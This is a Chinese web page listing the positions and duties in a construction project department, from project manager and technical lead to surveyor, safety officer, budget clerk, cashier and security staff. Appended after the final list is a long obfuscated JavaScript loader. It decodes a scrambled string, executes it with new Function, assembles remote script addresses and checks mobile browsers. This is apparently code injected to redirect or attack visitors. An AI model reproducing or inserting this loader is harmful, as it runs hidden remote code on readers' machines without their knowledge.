推荐回答(3个)
项目部岗位设置及职责
1、岗位设置
根据项目大小不同,人员安排不同,项目部领导层从上往下设置项目经理,项目技术负责人等,项目部设置最基本的六大岗位:施工员,质量员,安全员,材料员,造价员,测量员,其他还有材料员,标准员,机械员,劳务员等。
下图为某项目部组织机构框图。

某项目部组织机构框图
2、岗位职责
在现代施工企业的项目管理中,施工项目经理是施工项目的最高责任人和组织者,是决定施工项目盈亏的关键性角色。
一般来说,人们习惯于将项目经理定位于企业的中层管理者或中层干部,然而由于项目管理及项目环境的特殊性,在实践中的项目经理所行驶的管理职权与企业职能部门的中层干部,往往是有所不同的。前者体现在决策职能的增强上,着重于项目管理,而后者则主要表现为控制职能的强化,强调和研究的是过程管理,实际上,项目经理应该是职业经理式的人物,是复合性人才,是通才。他应该具有懂法律,善管理,会经营,敢责任,能公关等各方面的较为丰富的经验和知识,而职能部门的负责人则往往是专才,是某一技术专业领域的专家,对项目经理的素质和技能要求在实践中往往是同企业中的总经理完全相同的。
根据项目大小不同,人员安排不同,项目部领导层从上往下设置项目经理,项目技术负责人等,项目部设置最基本的六大岗位:施工员,质量员,安全员,材料员,造价员,测量员,其他还有材料员,标准员,机械员,劳务员等。
1.项目经理岗位责任制
(1)贯彻执行国家和地方法律、法规、政策和强制性标准、企业标准,执行企业的各项管理制度,维护企业的合法权益。
(2)签订和组织履行“内部承包合同”,执行企业与业主签订的施工合同。
(3)负责配备项目经理部的人、财、物等资源并进行动态管理。建立、组织实施各种专业管理体系。
(4)组织制定项目经理部各类人员的职责和权限、各项管理制度,并认真贯彻执行。
(5)严格执行财经制度,加强成本核算,正确处理国家、企业和项目及个人的利益关系。
(6)主持编制、实施施工组织设计,并对项目目标进行系统管理。
(7)科学地组织施工和加强各项管理,并做好建设单位、监理和各分包单位之间的协调工作,及时解决施工中出现的问题。
(8)做好内、外层各种关系的协调工作,处理好与公司各职能部门的业务联系和经济往来,接受公司的管理。
(9)组织做好工程竣工结算、资料整理归档、项目经理部解体与善后、竣工后回访保修工作。
2.项目副经理岗位责任制
(1)根据项目经理授权实施施工项目管理。
(2)做好施工准备工作,包括落实合同工期、质量目标等各项生产目标;临时设施现场准备,组织劳动力进场,组织机械设备就位运转,协调材料购置进场。
(3)领导编制项目施工进度计划,并组织贯彻实施。
(4)领导做好项目质量管理工作,组织质量计划的实施及质量事故的调查与处理工作。
(5)对施工组织设计、施工方案的情况进行监督与检查。
(6)领导做好项目安全生产、现场文明施工及现场CI形象管理。
(7)协调材料、机械、劳动力等各项生产要素的配置,落实各部门的工作,安排工程进度计划及各项工作目标。
(8)协调、管理各分包单位的生产工作,组织控制、检查分包单位的工期、质量、文明施工、安全等各项生产指标,依据分包合同对分包单位进行管理。
(9)负责工程项目的成品保护,工程回访工作。
(10)领导组织结构验收与竣工验收工作。
(11)领导与组织编写工程施工总结工作。
3.技术负责人岗位责任制
(1) 负责工程项目施工的技术管理、质量管理、信息管理工作,贯彻技术规程、规范。
(2)组织图纸会审和负责工程洽商工作。
(3)编制施工组织设计和施工技术方案及施工详图工作。
(4)负责组织项目技术交底工作及技术资料管理工作。
(5)负责对工程材料、设备的选型及材质的控制和项目的试验工作。
(6)负责引进与推广有实用价值的新技术、新工艺、新材料。
(7)参与项目结构验收和竣工验收。
(8)参与质量安全事故的调查和处理工作。
(9)参与项目成本计划的编制与分析工作。
(10)负责做好项目的技术总结工作。
4.技术员岗位职责
(1)按设计图纸、规范编制施工组织设计、施工方案,并参与组织落实。
(2)审查分包单位的施工方案。
(3)编制新技术、新材料、新结构、新工艺应用试验项目的技术交底,并参加组织实施及施工“样本”的质量鉴定。
(4)解决施工中的一般技术问题,参加质量事故的调查处理,并提出技术处理意见。
(5)及时熟悉施工图纸和设计文件,认真审图查找问题,参与图纸内部会审并做好记录,会后及时整理纪要。
(6)参加地基与基础、主体分部工程的质量核定工作。
(7)及时购买及领发工程技术标准、规范、标准图等资料,满足施工生产需要。
(8)指导试验工作,及时正确的提供各类建筑材料、试件的试验资料,努力提高试验、检验水平。
(9)按规定绘制竣工图,做到清楚、准确、不漏项、不重复。
(10)负责项目信息管理。
5.资料员岗位职责
(1)负责所有技术资料、图纸、变更、洽商记录、来函的及时接收、整理、发放、借出、保存工作。
(2)收到文件、设计变更通知后,立即编号登记,及时、有效地传达到文件使用者。
(3)负责施工技术资料的按时搜集、整理、装订、审查。
(4)加强资料的日常管理和保护工作,定期检查,发现问题及时向领导汇报,采取有效措施,保证资料安全。
(5)认真做好综合管理体系资料。
(6)负责竣工资料的整理、分册、汇总和装订成册工作。
6.试验员岗位职责
(1)熟悉和掌握钢筋、水泥、砂石、砌体、基坑土、混凝土、砂浆、防水材料及焊接等有关试验的取样办法,及时、正确的做好取样工作。
(2)做好砂浆和混凝土试块的制作、养护工作。
(3)做好砂石含水率、混凝土的坍落度、基槽基坑土工试验等,做好施工试验有关的测量温度、湿度等工作。
(4)负责取样送有资质的试验单位进行试验,取回试验结果,并配合监理做好见证取样工作。
(5)做好各项试验的试件、试样及有关的原始资料、台帐、报表等的整理、汇总,做到真实、完整、可靠。
(6)检查混凝土、砂浆搅拌台,确保水泥、砂、石、外加剂、水计量准确无误。
7.质量员岗位职责
(1)负责项目质量检查监督和管理工作,执行项目质量计划。
(2)督促分承包方建立有效的质量管理体系并监督其有效的运行,把好过程控制。
(3)对重点部位及工序实施全过程跟踪检查,分段提出质量控制点并组织落实。
(4)定期召开质量例会或分析会,研究质量状况和存在问题,并提出有效的预防措施。
(5)对潜在的不合格隐患发出整改通知,对产生质量问题的责任方进行处罚。
(6)参加工程结构验收和竣工验收。
(7)参加工程质量事故调查分析会,提供真实施工情况供领导决策。
(8)沟通与监理、业主关系,保持业务联系与往来,做好工程质量报验工作。
8.施工员岗位职责
(1)认真贯彻执行施工组织设计和施工方案中保证质量、安全、工期和降低成本的各种技术措施。
(2)按设计图纸、规范、施工组织设计(方案)、质量安全标准组织施工,指导管区内作业工人按技术、质量安全标准进行操作,纠正一切违章指挥、违章作业的行为。
(3)编制施工进度计划,合理安排劳动力、材料、机具、设备的使用,合理安排流水作业、交叉作业,及时与技术组配合解决施工难点、关键部位等技术问题。
(4)配合测量员做好测量工作。
(5)针对生产任务特点,向班组、分包单位下达任务并进行书面的技术、工序、质量、安全交底。
(6)坚持“三检制”,组织施工班组的工序自检、互检、交接检,不合格的工序不得移交下道工序。
(7)熟悉施工图纸等设计技术文件及规范标准,参加图纸内部会审、复审。
(8)参加隐蔽工程检查验收、工程结构验收、单位工程竣工验收。
(9)督促施工队伍及时整改安全问题、质量问题。
(10)配合试验员做好现场混凝土、砂浆的搅拌、试块制作养护、试体取样、计量等,发现问题及时纠正解决。
(11)按有关要求认真详细填写施工日志和施工记录,对主要施工过程,主要操作方法不得遗漏后补。填写各种技术资料必须做到及时、完整、准确、齐全,并及时移交给资料员。
9.测量员岗位职责
(1)熟悉有关的各种计量测量技术、规章制度、标准、规范;做好施工现场的测量工作,使各次测量闭合,标高、坐标、定位、放线、角度、引线等各测量项目符合技术要求和有关规定,做到每次测量的原始数据、资料满足施工需要。
(2)做好测量资料汇总、整理、递交、保管,做到各个数据资料准确无误,真实可靠,提供及时。
(3)做好测量控制桩、标桩、标牌等测量标志管理,做到位置准确、标志明显、在施工期间保护完好。
(4)负责指导分包单位的测量技术工作,解决疑难测点的测量工作。
(5)负责测量放线后的复查工作。
(6)负责按期进行沉降观测、构筑物垂直偏差等观测。
(7)负责测量仪器设备、器材的保养、维护、修理、保管工作,保证精度。
(8)负责测量计量器具的报废和购买等工作的申报。
(9)负责计量器具的送检工作;保证计量技术指标的完成,做到计量器具配备率达到100%,计量检测率达到100%,计量器具周检受检率达100%,计量器具抽检合格率达100%。
10.安全员岗位职责
(1)负责项目的安全管理、文明施工工作。
(2)负责贯彻安全生产方针、政策、规章制度,推动项目安全管理体系的运行。
(3)对施工全过程的安全进行监督,纠正违章作业,配合有关部门排除安全隐患,组织安全教育和开展全员安全活动,监督劳保用品质量和正确使用,发现重大安全隐患,及时向项目经理汇报并同时勒令立即改正。
(4)落实安全设施的设置,对施工现场安全防护装置和设施进行验收。
(5)检查安全标牌是否按规定设置,标识方法和内容是否正确完整。
(6)组织分承包商开展安全监督与检查工作。
(7)参与安全事故的调查处理。
(8)协助办公室对进场的分包队伍进行资质的审查及三级安全教育,并负责办理与发放操作人员上岗证。
11.机管员岗位职责
(1)认真贯彻执行各项机械设备管理制度、操作规范,负责项目经理部内机械设备的技术业务管理工作。
(2)对进入施工现场的机械设备认真做好验收工作,做好验收记录,建立现场设备台帐,对分管的机械日常运转、维修、保养的情况做详实记载。
(3)开展对施工现场所使用的机械设备日常巡查、周检查、月专业大检查制度,及时组织对设备维修保养,杜绝设备带病运转。
(4)严格实行定机、定人、定职责、持证上岗、安全交底、交接班等安全制度,监督操作者按设备操作规程操作,发现问题及时处理或向上级主管汇报。
(5)协助有关部门做好对机械操作人员的教育、培训工作。
(6)参与机械事故和与机械有关的人身事故的调查,参与事故分析会并提出意见。
(7)负责机械操作人员的调配,及时根据需要提出人员增减计划。
(8)负责定期结算机械租赁费和损坏、丢失机械及零配件的索赔费。
12.预算员岗位职责
(1)熟悉施工图纸、设计变更、施工组织设计、施工方案等施工文件、施工合同、相关法律、法规、规定,充分掌握工程分承包合同文件的经济条款,并做好合同交底工作。
(2)负责工程预算的编制,做好项目计划成本的编制及对项目目标成本的复核工作,并根据现场实际情况,对比实际成本与目标成本差异,做出分析。
(3)认真阅读施工图纸,及时发现相关问题,参与图纸会审。
(4)根据现场实际发生情况及时提醒技术员办理工程签证,并结合预算相关知识到甲方办理经济签证及最终审核结果。
(5)熟悉施工现场生产进度,每月25日前编制本月施工生产统计报表,编制进度工程量,每月24日前根据下月生产进度计划编制下月施工预算。
(6)参与分包工程承包合同的起草工作,参与劳务结算的审核。
(7)收集工程各阶段、节点基础经济数据,并归类整理,汇总分析。
(8)负责与业主及时办理工程结算,平时注意收集、整理相关资料。
(9)配合其他部门的工作,及时为其提供有关的资料。
13.会计岗位职责
(1)按时编制会计表,做到数字真实、计算准确、内容完整、说明清楚。
(2)定期汇总会计凭证,并与科目明细帐核对相符。
(3)认真做好记帐凭证,组织会计统计报表的编审工作,保证财务结算正确、及时和真实,为领导提供可靠的经营管理资料。
(4)及时掌握流动资金使用和周转情况,定期向领导汇报工作。
14.出纳岗位职责
(1)负责项目现金收支工作。
(2)认真做好现金和各种票据的收付、保管工作。
(3)每日盘点库存现金,做到帐款相符。
(4)编制和发放项目经理部人员工资、奖金,办理工资结算,编制现金记帐凭证及职工工资花名册。
15.材料员岗位职责
(1)负责项目的材料管理工作,贯彻执行材料管理制度。
(2)负责项目的材料计划管理,及时提出用料计划。
(3)负责项目物资采购管理。
(4)负责项目材料的验收与现场材料管理,负责进场材料的验收及不合格材料的处理,负责现场材料的存放、保管和施工管理,以及材料的标识等管理工作。
(5)负责材料的材质证明管理。
(6)负责项目废旧品、余料回收管理。
16.仓库管理员岗位职责
(1)认真做好物资入库验收工作。
(2)负责物资的保管、保养、发放。
(3)负责仓库物资盘点工作。
(4)做好物资的修旧利废工作。
(5)建立各种台帐、记录,按时上报。
(6)及时向资料员反映库存情况。
(7)协助后勤保卫做好物资的防火、防盗等工作。
17.办公室及行政主理岗位职责
(1)负责项目经理部文化建设、CI形象实施。
(2)负责项目经理部人事管理工作。
(3)负责施工现场、办公区、生活区保卫、消防工作。
(4)负责办公场所、生活区域后勤管理。
(5)负责项目经理部会务工作。
(6)负责办公、生活设施的管理。
18.后勤保卫岗位职责
(1)负责项目经理部治安综合治理、后勤、保卫工作。
(2)负责调解处理项目部内部治安纠纷。
(3)负责对施工人员进行法制教育,减少违法犯罪活动、治安灾害事故和治安纠纷。
(4)与当地有关部门及所在地方公安派出所加强保安联系工作。
(5)负责项目经理部施工现场、办公区、生活区消防工作。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();